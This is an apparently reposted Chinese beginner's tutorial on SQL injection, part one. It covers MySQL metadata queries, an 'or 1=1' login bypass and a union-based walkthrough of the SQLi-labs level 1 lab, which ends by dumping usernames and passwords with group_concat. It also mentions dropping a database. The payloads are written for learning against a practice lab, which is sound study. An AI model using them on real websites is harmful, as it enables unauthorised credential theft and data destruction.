| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> 渗透测试——sql注入(一) -> 正文阅读 |
|
[大数据]渗透测试——sql注入(一) |
目录 一、SQL注入中重要的数据库知识show databases ——列出所有数据库名 information_schemaSCHEMATA——当前MySQL实例中所有数据库信息 COLUMNS——表中列信息(字段) TABLES——表的信息(表名等) 注释sql注入一般使用第一种 第一种:--空格? 第二种:# 简单操作列出所有数据库: show databases 查看某一个数据库里所有的表: use databasename(数据库名) show tables 或者 show tables from databasename 每个语句用;分号隔开 select特殊应用与函数: select now() 获得时间 select database()查看当前选择的是那个库 select version()查看版本 select user()查看当前登陆数据库的用户 select @@datadir 查看数据路径 select @@basedir 查看mysql安装路径 select @@version_compile_os 查看mysql安装的系统 union联合查询:select * from 数据表 union select 1,2(union查询的字段数要与前面查询的字段数相同) 通过报错判断前面查询的字段数(查询暴露了几个字段) 二、SQL注入SQL注入漏洞用户输入的数据被构造成恶意的SQL代码,web应用又未对动态构造的SQL语句的参数进行审查,则会带来不同程度的威胁 GET/POST型SQL注入提交网页内容的时候,主要分为GET/POST方法,GET提交方法提交内容会显现在URL上,对URL连接进行构造,有可能获得数据库信息内容,GET型SQL注入相对来说比较简单,POST型则需要先抓包再构造 最简单的SQL注入网页源码中出现 select * from test where xxxx='%s' 显然是需要用户输入密码登入 此时用户如果不输入密码且输入 1 'or 1=1 --? 万能密码 则后端收到的语句为 select * from test where xxxx='1'or 1=1-- ' 等效于? select * from test SQL注入带来的威胁猜解后台数据库,盗取网站敏感信息 借助数据库的存储过程进行提权等操作 绕过验证,登陆网站后台 SQL注入手法检索隐藏数据 获取敏感数据 修改应用逻辑 Union attack(联合攻击)有回显的可以使用union attack 盲注 删库:drop database? SQL攻击流程先判断注入点 然后判断网站所查询的字段数 union select 1,2,3... 用1,2,3...测试? 这一步也可以用order by 来确定 之后查询数据库名、用户、版本 union select database(),user(),version() 这里要与上面测试出来的字段数匹配,即字段数是几这里可以一次性查几个,如果多可以用1,2...进行占位,查询时测试一下前端输出与查询顺序如何匹配,并且与前端的数据类型相匹配 之后可以查询该数据库中的数据表名 union select table_name?from information_schema.tables where table_schema='database()/或者直接写刚才查询出来的库名' (记得占位) 对于只回显一条或几条记录的网站可以使用limit n,1000 来查询每一条记录 也可以直接group_concat(字段名)来直接一步到位 接下来对于一些敏感名称的表进行查看 比如说找到一张表叫user union select column_name from information_schema.columns where table_name='user' 这里如果这样查询则会返回所有数据库中名为user的表的字段,这并不是我们想要的 所以我们给它加上限制条件 union select column_name from information_schema.columns where table_name='user' and table_schema=database() 限制在该数据库中 之后就基本上注入成功想查的数据就查到啦 SQL-labs第一关我看很多大佬最后第一关的结果就是把users表全部显示,咱也不知到为啥,按照上面的步骤,咱也来动手试一下! 第一步——确定注入点 ?提示我们输入一个id字段,并且这道题是get方式提交的,可以直接在url里面写 那就先试一下id 接下来测试一下这个id是字符型还是整形 即加不加'
这里报错了,看报错好像多了一个' 尝试在后面加个注释 id=1' -- +
到这一步我们已经确定了是字符型并且可以在这个位置进行注入 第二步判断它这条语句返回的字段数 用order by 或者 union? 这里用order by 即 id=1' order by n -- + 这里从1开始测试到4的时候报错 说明这条语句返回了3个字段的值 第三步我们开始用union attract 来看看它的一些不显示的信息 我们先看一下它查询字段的位置与前端输出的位置是如何匹配的 id=-1' union select 1,2,3 -- +?? 这里把id写成-1是因为这里只显示出一条记录,为了方便显示的记录就是我们想看的记录,把前面正常查询的记录都排除掉,即让 union 前面的语句查询不到记录 这时我们能看到输出对应的是查询出的第2和第3个字段 我们接下来查询一下现在是在那个数据库中、数据库的版本、用户(这道题里这一步其实没啥用,但是还是走流程查一下) id=-1' union select 1,database(),version() -- +? 数据库名security 版本5.5.53? 把前面任意一个函数改为user()就可以查到用户,这里不演示了 接下来看一看这个数据库中拥有的数据表吧因为这里只能输出一条记录而表名数量不确定我们可以使用group_concat()函数 id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() -- +? 看到如下表名,其中users看起来就楚楚可怜的,那让我们看一下它有那些字段,注意为了查询出来的字段都是该数据库中users表的数据,要加入限定条件 id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() -- +? 直接查到 id username password 其实就是一开始让你输入id 然后显示username 和 password 其实到这里我没太看懂这次注入干了啥,一开始输入id也能看到这些信息,一顿操作最后还是为了看这些信息 现在让我们把这些信息都输出出来吧 id=-1' union select 1,2,group_concat(id ,username ,password) from users -- + 这样似乎就成功了 我们要不再看看其他表? email直接就没数据 好吧那(一)就到这里? |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年3日历 | -2025/3/4 7:53:42- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |